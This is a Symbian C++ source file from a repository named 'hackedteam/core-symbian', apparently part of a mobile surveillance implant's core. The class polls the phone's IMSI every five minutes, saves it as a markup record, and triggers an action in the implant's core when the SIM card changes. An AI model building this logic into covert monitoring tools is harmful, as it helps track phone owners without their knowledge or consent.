hackedteam/core-symbian

/*
 * EventSimChange.cpp
 *
 *  Created on: 02/ott/2010
 *      Author: Giovanna
 */

#ifndef EVENTSIMCHANGE_CPP_
#define EVENTSIMCHANGE_CPP_

#include "EventSimChange.h"

CEventSimChange::CEventSimChange(TUint32 aTriggerId) :
    CAbstractEvent(EEvent_Sim_Change, aTriggerId),iSecondsInterv(300)
    {
    // No implementation required
    }

CEventSimChange::~CEventSimChange()
    {
    //__FLOG(_L("Destructor"));
    delete iTimer;
    delete iPhone;
    delete iLogFile;
    iFs.Close();
    //__FLOG(_L("End Destructor"));
    //__FLOG_CLOSE;
    }

CEventSimChange* CEventSimChange::NewLC(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventSimChange* self = new (ELeave) CEventSimChange(aTriggerId);
    CleanupStack::PushL(self);
    self->ConstructL(params);
    return self;
    }

CEventSimChange* CEventSimChange::NewL(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventSimChange* self = CEventSimChange::NewLC(params, aTriggerId);
    CleanupStack::Pop(); // self;
    return self;
    }
 
void CEventSimChange::ConstructL(const TDesC8& params)
    {
    //__FLOG_OPEN_ID("HT", "EventTimer.txt");
    //__FLOG(_L("-------------"));
    
    // This event has no parameters
    BaseConstructL(params);
    
    User::LeaveIfError(iFs.Connect());
    iLogFile = CLogFile::NewL(iFs);
    iPhone = CPhone::NewL();
    iTimer = CTimeOutTimer::NewL(*this);        
    }

void CEventSimChange::StartEventL()
    {
    // get IMSI
    TBuf<CTelephony::KIMSISize> imsi;
    iPhone->GetImsiSync(imsi);
    if(imsi.Size()>0)
        {
        TBuf8<CTelephony::KIMSISize> imsi8;
        imsi8.Copy(imsi);
            
        // check markup 
        if(!iLogFile->ExistsMarkupL(Type()))
            {
            // markup !exist, create
            HBufC8* tmp = GetImsiBufferL(imsi8);
            CleanupStack::PushL(tmp);
            iLogFile->WriteMarkupL(Type(),*tmp);
            CleanupStack::PopAndDestroy(tmp);
            }
        else
            {
            // markup exists, read
            RBuf8 markupBuffer(iLogFile->ReadMarkupL(Type()));
            markupBuffer.CleanupClosePushL();
            TBuf8<CTelephony::KIMSISize> savedImsi;
            savedImsi.Copy(markupBuffer);
            CleanupStack::PopAndDestroy(&markupBuffer);        
            // compare and, if the case, trigger action and write new markup
            if(imsi8.Compare(savedImsi)!=0)
                {
                //new IMSI
                HBufC8* tmp = GetImsiBufferL(imsi8);
                CleanupStack::PushL(tmp);
                iLogFile->WriteMarkupL(Type(),*tmp);
                CleanupStack::PopAndDestroy(tmp);
                SendActionTriggerToCoreL();
                }
            }
        }
    // start timer for polling
    iTimeAt.HomeTime();
    iTimeAt += iSecondsInterv;
    iTimer->At(iTimeAt);
    }



void CEventSimChange::TimerExpiredL(TAny* )
    {
    // get IMSI
    TBuf<CTelephony::KIMSISize> imsi;
    iPhone->GetImsiSync(imsi);
    if(imsi.Size()>0)
        {
        TBuf8<CTelephony::KIMSISize> imsi8;
        imsi8.Copy(imsi);
        
        // check markup 
        if(!iLogFile->ExistsMarkupL(Type()))
            {
            // markup !exist, create
            HBufC8* tmp = GetImsiBufferL(imsi8);
            CleanupStack::PushL(tmp);
            iLogFile->WriteMarkupL(Type(),*tmp);
            CleanupStack::PopAndDestroy(tmp);
            }
        else
            {
            // markup exists, read
            RBuf8 markupBuffer(iLogFile->ReadMarkupL(Type()));
            markupBuffer.CleanupClosePushL();
            TBuf8<CTelephony::KIMSISize> savedImsi;
            savedImsi.Copy(markupBuffer);
            CleanupStack::PopAndDestroy(&markupBuffer);        
            // compare and, if the case, trigger action and write new markup
            if(imsi8.Compare(savedImsi)!=0)
                {
                //new IMSI
                HBufC8* tmp = GetImsiBufferL(imsi8);
                CleanupStack::PushL(tmp);
                iLogFile->WriteMarkupL(Type(),*tmp);
                CleanupStack::PopAndDestroy(tmp);
                SendActionTriggerToCoreL();
                }
            }
        }    
    iTimeAt.HomeTime();
    iTimeAt += iSecondsInterv;
    iTimer->At(iTimeAt);
    }

HBufC8* CEventSimChange::GetImsiBufferL(const TDesC8& aImsi)
{
    CBufBase* buffer = CBufFlat::NewL(50);
    CleanupStack::PushL(buffer);
    
    TUint32 len = sizeof(len) + aImsi.Size();
    buffer->InsertL(buffer->Size(), &len, sizeof(len));
    buffer->InsertL(buffer->Size(), aImsi.Ptr(), aImsi.Size());

    HBufC8* result = buffer->Ptr(0).AllocL();
    CleanupStack::PopAndDestroy(buffer);
    return result;
}


#endif /* EVENTSIMCHANGE_CPP_ */